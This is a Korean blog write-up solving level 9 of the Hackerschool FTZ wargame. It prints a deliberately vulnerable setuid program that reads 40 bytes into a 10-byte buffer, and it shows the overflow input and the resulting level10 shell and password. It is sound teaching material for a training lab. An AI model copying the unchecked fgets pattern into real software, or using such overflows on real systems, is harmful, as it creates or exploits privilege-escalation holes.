[FTZ] level 9 → level 10 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 9 → level 10 문제풀이

disso1p1 2020. 2. 25. 18:38

 

 

 

level9 - id : level9 , pw : apple

 

 

[level9@ftz level9]$ ls
hint  public_html  tmp
[level9@ftz level9]$ cat hint


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }

}   

이를 이용하여 level10의 권한을 얻어라.


[level9@ftz level9]$ 

 

/usr/bin/bof 는

buf 변수에 최대 40 byte 만큼 표준입력에서 입력 받는다.

그리고 buf2에서 2 byte 가 'go',

buf2[0] : 'g'buf2[1] : 'o' 이면

Good Skill! 이라는 출력과 함께 level10 권한의 setuid를 주고 쉘을 띄워준다.

 

 

생각을 해보자.

우리는 buf 에 입력을 한다.

그런데 어떻게 buf2에 값을 넣을 수 있을까?

 

여기서 사용하는 기법이 buffer overflow(bof) 이다.

buf 의 크기는 10 byte 이지만, 40 byte 까지 입력할 수 있다.

여기서 bof 취약점이 발생한다.

 

buf2 변수는 buf 변수보다 먼저 선언했기 때문에

스택에서 buf2 가 buf 보다 높은 주소에 위치할 것이다.

 

그래서 buf 의 byte 수, 즉 10 byte 이상의 길이를 넣으면

buf2 위치를 침범해 값을 조작할 수 있다.

 

 

 그런데 여기서 gcc가 dummy 값을 할당할 수 있다.

gcc 2.96 이후 버전에서는 dummy 값이 추가 된다고한다.

 

게다가 /usr/bin/bof 은 level9 id에 실행권한(x) 밖에 주지 않았으므로

일일이 쳐봐야한다.

 

buf가 10byte 이기 때문에 많아야 20byte 정도 입력하면 된다.

 

buf 와 dummy 자리를 'a' 로 수를 늘려가며 채우고 'go'를 입력해보자.

 

[level9@ftz level9]$ ls -l /usr/bin/bof
-rws--x---    1 level10  level9      12111  9월 10  2011 /usr/bin/bof
[level9@ftz level9]$ /usr/bin/bof      
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[level10@ftz level9]$ id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
[level10@ftz level9]$ my-pass

Level10 Password is "interesting to hack!".

[level10@ftz level9]$ 

 

'a' 를 16개 넣고 'go' 를 입력하니 level10의 권한을 가졌다.

 

buf(10) + dummy(6) + 'go' 라고 할 수 있다.

 

 

 

 

Level10 Password is "interesting to hack!".

 

 

 

감사합니다

Comments